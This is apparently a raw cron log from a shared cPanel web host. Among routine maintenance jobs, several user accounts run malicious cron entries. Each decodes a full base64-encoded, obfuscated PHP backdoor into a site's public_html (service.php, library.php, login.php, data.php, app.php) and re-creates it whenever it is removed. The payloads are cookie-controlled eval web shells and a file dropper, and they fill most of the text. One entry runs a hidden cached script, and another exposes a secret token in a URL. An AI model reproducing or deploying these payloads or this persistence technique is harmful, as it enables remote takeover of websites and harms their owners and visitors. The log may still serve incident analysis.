Mar  2 10:08:01 medusa CROND[21993]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:08:01 medusa CROND[21997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:08:01 medusa CROND[21996]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:08:01 medusa CROND[21998]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:08:01 medusa CROND[22016]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:08:01 medusa CROND[22017]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:08:01 medusa CROND[22018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:08:01 medusa CROND[22023]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:09:01 medusa CROND[10047]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 10:09:02 medusa CROND[10100]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:09:02 medusa CROND[10145]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:09:02 medusa CROND[10148]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:09:02 medusa CROND[10146]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:09:02 medusa CROND[10147]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:09:02 medusa CROND[10149]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:09:02 medusa CROND[10152]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:09:02 medusa CROND[10153]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:09:02 medusa CROND[10155]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:09:02 medusa CROND[10142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:09:02 medusa CROND[10168]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:09:02 medusa CROND[10143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:10:01 medusa CROND[31583]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:10:01 medusa CROND[31648]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:10:02 medusa CROND[31740]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:10:02 medusa CROND[31916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 10:10:02 medusa CROND[31917]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:10:02 medusa CROND[31919]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:10:02 medusa CROND[31918]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:10:02 medusa CROND[31925]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:10:02 medusa CROND[31926]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:10:02 medusa CROND[31928]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:10:02 medusa CROND[31923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:10:02 medusa CROND[31930]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:10:02 medusa CROND[31933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:10:02 medusa CROND[31936]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:10:02 medusa CROND[31937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:10:02 medusa CROND[31948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:10:02 medusa CROND[31945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
